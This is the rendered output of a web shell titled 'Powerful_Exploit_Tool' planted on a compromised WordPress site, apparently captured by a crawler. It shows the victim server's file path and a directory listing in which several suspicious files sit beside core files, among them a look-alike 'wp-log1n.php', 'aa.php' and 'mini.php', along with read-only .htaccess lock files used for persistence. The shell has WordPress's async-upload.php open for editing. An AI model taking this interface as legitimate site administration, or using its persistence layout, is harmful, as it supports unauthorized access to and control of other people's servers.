📁 Powerful_Exploit_Tool-🛒 PHP v5.6.37

Current Path: home/dpscontr/public_html/

Name	Size	Permissions	Actions
📁 images	-	0755	🗑️
📁 wp-includes	-	0755	🗑️
📁 de1fc	-	0555	🗑️
📁 wp-content	-	0755	🗑️
📁 wp-config	-	0755	🗑️
📁 reseller	-	0755	🗑️
📁 wp-admin	-	0755	🗑️
📁 5c8228	-	0755	🗑️
📁 fileupload	-	0755	🗑️
📁 wp-mail	-	0755	🗑️
📁 ..	-	0711	🗑️
📄 wp-comments-post.php	1.84 KB	0644	🗑️ ⬇️ ✏️
📄 wp-config-sample.php	2.79 KB	0644	🗑️ ⬇️ ✏️
📄 wp-signup.php	29.39 KB	0644	🗑️ ⬇️ ✏️
📄 wp-trackback.php	4.58 KB	0644	🗑️ ⬇️ ✏️
📄 xmlrpc.php	2.99 KB	0644	🗑️ ⬇️ ✏️
📄 wp-blog-header.php	0.34 KB	0644	🗑️ ⬇️ ✏️
📄 wp-config.php	3.11 KB	0600	🗑️ ⬇️ ✏️
📄 wp-settings.php	17.01 KB	0644	🗑️ ⬇️ ✏️
📄 wp-login.php	36.42 KB	0644	🗑️ ⬇️ ✏️
📄 wp-load.php	3.36 KB	0444	🗑️ ⬇️ ✏️
📄 wp-activate.php	6.72 KB	0644	🗑️ ⬇️ ✏️
📄 wp-links-opml.php	2.37 KB	0644	🗑️ ⬇️ ✏️
📄 wp-cron.php	3.58 KB	0644	🗑️ ⬇️ ✏️
📄 wp-mail.php	7.82 KB	0644	🗑️ ⬇️ ✏️
📄 wp-log1n.php	2 KB	0444	🗑️ ⬇️ ✏️
📄 php.ini	0.1 KB	0644	🗑️ ⬇️ ✏️
📄 .htprotect	0.04 KB	0444	🗑️ ⬇️ ✏️
📄 .protector.php	1.46 KB	0644	🗑️ ⬇️ ✏️
📄 aa.php	143.87 KB	0644	🗑️ ⬇️ ✏️
📄 buy.php	1.45 KB	0444	🗑️ ⬇️ ✏️
📄 .htlock	0.04 KB	0444	🗑️ ⬇️ ✏️
📄 .htaccess.protected	0.04 KB	0444	🗑️ ⬇️ ✏️
📄 .htaccess	0.19 KB	0644	🗑️ ⬇️ ✏️
📄 .htaccess.immutable	0.04 KB	0444	🗑️ ⬇️ ✏️
📄 .htaccess.lock	0.04 KB	0444	🗑️ ⬇️ ✏️
📄 google1bededd2e20e1356.html	0.05 KB	0644	🗑️ ⬇️ ✏️
📄 htaccess.locked	0.04 KB	0444	🗑️ ⬇️ ✏️
📄 options.php	1.87 KB	0444	🗑️ ⬇️ ✏️
📄 plugins.php	2.03 KB	0444	🗑️ ⬇️ ✏️
📄 readme.html	7.24 KB	0644	🗑️ ⬇️ ✏️
📄 mini.php	76.35 KB	0644	🗑️ ⬇️ ✏️
📄 license.txt	19.47 KB	0644	🗑️ ⬇️ ✏️
📄 index.php	19.35 KB	0444	🗑️ ⬇️ ✏️
📄 index.php0	19.35 KB	0644	🗑️ ⬇️ ✏️
📄 index5632.php	19.35 KB	0444	🗑️ ⬇️ ✏️
📄 robots.txt	0.35 KB	0000	🗑️ ⬇️ ✏️

Editing: async-upload.php

<?php
/**
 * Server-side file upload handler from wp-plupload or other asynchronous upload methods.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
	define( 'DOING_AJAX', true );
}

if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

if ( defined( 'ABSPATH' ) ) {
	require_once( ABSPATH . 'wp-load.php' );
} else {
	require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
}

require_once( ABSPATH . 'wp-admin/admin.php' );

header( 'Content-Type: text/plain; charset=' . get_option( 'blog_charset' ) );

if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
	include( ABSPATH . 'wp-admin/includes/ajax-actions.php' );

send_nosniff_header();
	nocache_headers();

wp_ajax_upload_attachment();
	die( '0' );
}

if ( ! current_user_can( 'upload_files' ) ) {
	wp_die( __( 'Sorry, you are not allowed to upload files.' ) );
}

// just fetch the detail form for that attachment
if ( isset($_REQUEST['attachment_id']) && ($id = intval($_REQUEST['attachment_id'])) && $_REQUEST['fetch'] ) {
	$post = get_post( $id );
	if ( 'attachment' != $post->post_type )
		wp_die( __( 'Invalid post type.' ) );
	if ( ! current_user_can( 'edit_post', $id ) )
		wp_die( __( 'Sorry, you are not allowed to edit this item.' ) );

switch ( $_REQUEST['fetch'] ) {
		case 3 :
			if ( $thumb_url = wp_get_attachment_image_src( $id, 'thumbnail', true ) )
				echo '<img class="pinkynail" src="' . esc_url( $thumb_url[0] ) . '" alt="" />';
			echo '<a class="edit-attachment" href="' . esc_url( get_edit_post_link( $id ) ) . '" target="_blank">' . _x( 'Edit', 'media item' ) . '</a>';

// Title shouldn't ever be empty, but use filename just in case.
			$file = get_attached_file( $post->ID );
			$title = $post->post_title ? $post->post_title : wp_basename( $file );
			echo '<div class="filename new"><span class="title">' . esc_html( wp_html_excerpt( $title, 60, '&hellip;' ) ) . '</span></div>';
			break;
		case 2 :
			add_filter('attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2);
			echo get_media_item($id, array( 'send' => false, 'delete' => true ));
			break;
		default:
			add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
			echo get_media_item($id);
			break;
	}
	exit;
}

check_admin_referer('media-form');

$post_id = 0;
if ( isset( $_REQUEST['post_id'] ) ) {
	$post_id = absint( $_REQUEST['post_id'] );
	if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) )
		$post_id = 0;
}

$id = media_handle_upload( 'async-upload', $post_id );
if ( is_wp_error($id) ) {
	echo '<div class="error-div error">
	<a class="dismiss" href="#" onclick="jQuery(this).parents(\'div.media-item\').slideUp(200, function(){jQuery(this).remove();});">' . __('Dismiss') . '</a>
	<strong>' . sprintf(__('&#8220;%s&#8221; has failed to upload.'), esc_html($_FILES['async-upload']['name']) ) . '</strong><br />' .
	esc_html($id->get_error_message()) . '</div>';
	exit;
}

if ( $_REQUEST['short'] ) {
	// Short form response - attachment ID only.
	echo $id;
} else {
	// Long form response - big chunk o html.
	$type = $_REQUEST['type'];

/**
	 * Filters the returned ID of an uploaded attachment.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the attachment type,
	 * such as 'image', 'audio', 'video', 'file', etc.
	 *
	 * @since 2.5.0
	 *
	 * @param int $id Uploaded attachment ID.
	 */
	echo apply_filters( "async_upload_{$type}", $id );
}

dpscontrol.sk – Distributed Parameter Systems

📁 Powerful_Exploit_Tool-🛒 PHP v5.6.37

Editing: async-upload.php

DPS control